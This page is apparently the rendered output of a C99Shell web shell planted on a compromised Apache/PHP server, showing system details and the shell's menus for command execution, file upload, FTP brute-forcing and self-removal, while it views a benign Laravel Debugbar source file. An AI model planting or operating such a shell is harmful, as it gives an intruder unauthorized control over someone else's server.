!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SymfonyHttpDriver.php (1.76 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar;

use 
DebugBar\HttpDriverInterface;
use 
Symfony\Component\HttpFoundation\Response;
use 
Symfony\Component\HttpFoundation\Session\Session;

/**
 * HTTP driver for Symfony Request/Session
 *
 */
class SymfonyHttpDriver implements HttpDriverInterface
{
    
/** @var \Illuminate\Contracts\Session\Session|\Illuminate\Session\SessionManager */
    
protected $session;

    
/** @var \Symfony\Component\HttpFoundation\Response */
    
protected $response;

    public function 
__construct($session$response null)
    {
        
$this->session $session;
        
$this->response $response;
    }

    
/**
     * @param \Symfony\Component\HttpFoundation\Response $response
     * @return void
     */
    
public function setResponse($response)
    {
        
$this->response $response;
    }

    
/**
     * {@inheritDoc}
     */
    
public function setHeaders(array $headers)
    {
        if (!
is_null($this->response)) {
            
$this->response->headers->add($headers);
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function isSessionStarted()
    {
        if (!
$this->session->isStarted()) {
            
$this->session->start();
        }

        return 
$this->session->isStarted();
    }

    
/**
     * {@inheritDoc}
     */
    
public function setSessionValue($name$value)
    {
        
$this->session->put($name$value);
    }

    
/**
     * {@inheritDoc}
     */
    
public function hasSessionValue($name)
    {
        return 
$this->session->has($name);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getSessionValue($name)
    {
        return 
$this->session->get($name);
    }

    
/**
     * {@inheritDoc}
     */
    
public function deleteSessionValue($name)
    {
        
$this->session->remove($name);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0095 ]--